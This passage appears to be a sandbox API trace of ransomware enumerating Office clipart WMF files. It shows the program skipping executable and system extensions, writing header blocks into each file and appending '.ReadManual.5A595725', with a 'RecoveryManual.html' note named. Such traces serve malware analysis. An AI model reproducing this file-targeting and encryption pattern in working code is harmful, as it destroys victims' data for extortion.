StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.399] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" [0262.399] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.ReadManual.5A595725" [0262.399] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.ReadManual.5A595725") returned 87 [0262.399] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38306739303) returned 1 [0262.399] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0262.399] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.399] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20784) returned 1 [0262.399] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5130, lpName=0x0) returned 0x184 [0262.399] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.400] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.400] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.402] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.402] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5130) returned 0x2f0000 [0262.402] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.402] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38307114786) returned 1 [0262.402] CloseHandle (hObject=0x184) returned 1 [0262.402] SetSecurityInfo () returned 0x57 [0262.403] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.403] CloseHandle (hObject=0x194) returned 1 [0262.404] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0262.404] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00705_.WMF" | out: lpString1="DD00705_.WMF") returned="DD00705_.WMF" [0262.404] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.404] StrStrIW (lpFirst="DD00705_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.404] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.404] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.404] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" [0262.404] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.ReadManual.5A595725" [0262.404] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.ReadManual.5A595725") returned 87 [0262.404] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38307295666) returned 1 [0262.404] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0262.404] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.405] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24588) returned 1 [0262.405] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x600c, lpName=0x0) returned 0x184 [0262.405] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.405] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.405] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.407] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.407] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x600c) returned 0x2f0000 [0262.408] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.408] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38307645856) returned 1 [0262.408] CloseHandle (hObject=0x184) returned 1 [0262.408] SetSecurityInfo () returned 0x57 [0262.408] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.408] CloseHandle (hObject=0x194) returned 1 [0262.409] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0262.409] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01015_.WMF" | out: lpString1="DD01015_.WMF") returned="DD01015_.WMF" [0262.409] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.409] StrStrIW (lpFirst="DD01015_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.409] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.409] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.409] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" [0262.409] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.ReadManual.5A595725" [0262.409] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.ReadManual.5A595725") returned 87 [0262.409] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38307828475) returned 1 [0262.410] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0262.410] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.410] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2226) returned 1 [0262.410] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b2, lpName=0x0) returned 0x184 [0262.410] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.411] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.411] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.412] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.412] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b2) returned 0x2f0000 [0262.413] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.413] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38308142754) returned 1 [0262.413] CloseHandle (hObject=0x184) returned 1 [0262.413] SetSecurityInfo () returned 0x57 [0262.413] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.413] CloseHandle (hObject=0x194) returned 1 [0262.414] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0262.414] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01039_.WMF" | out: lpString1="DD01039_.WMF") returned="DD01039_.WMF" [0262.414] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.414] StrStrIW (lpFirst="DD01039_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.414] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.414] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.414] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" [0262.414] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.ReadManual.5A595725" [0262.414] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.ReadManual.5A595725") returned 87 [0262.414] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38308313453) returned 1 [0262.414] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0262.415] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.415] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14820) returned 1 [0262.415] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39e4, lpName=0x0) returned 0x184 [0262.415] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.415] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.415] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.417] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.417] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39e4) returned 0x2f0000 [0262.418] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.418] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38308646021) returned 1 [0262.418] CloseHandle (hObject=0x184) returned 1 [0262.418] SetSecurityInfo () returned 0x57 [0262.418] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.418] CloseHandle (hObject=0x194) returned 1 [0262.419] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0262.420] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01138_.WMF" | out: lpString1="DD01138_.WMF") returned="DD01138_.WMF" [0262.420] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.420] StrStrIW (lpFirst="DD01138_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.420] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.420] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.420] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" [0262.420] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.ReadManual.5A595725" [0262.420] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.ReadManual.5A595725") returned 87 [0262.420] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38308898969) returned 1 [0262.420] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0262.420] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.421] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3692) returned 1 [0262.421] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe6c, lpName=0x0) returned 0x184 [0262.421] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.421] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.421] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.423] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.423] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe6c) returned 0x2f0000 [0262.423] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.424] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38309230021) returned 1 [0262.424] CloseHandle (hObject=0x184) returned 1 [0262.424] SetSecurityInfo () returned 0x57 [0262.424] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.424] CloseHandle (hObject=0x194) returned 1 [0262.424] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0262.425] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01139_.WMF" | out: lpString1="DD01139_.WMF") returned="DD01139_.WMF" [0262.425] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.425] StrStrIW (lpFirst="DD01139_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.425] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.425] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.425] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" [0262.425] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.ReadManual.5A595725" [0262.425] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.ReadManual.5A595725") returned 87 [0262.425] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38309396188) returned 1 [0262.425] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0262.426] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 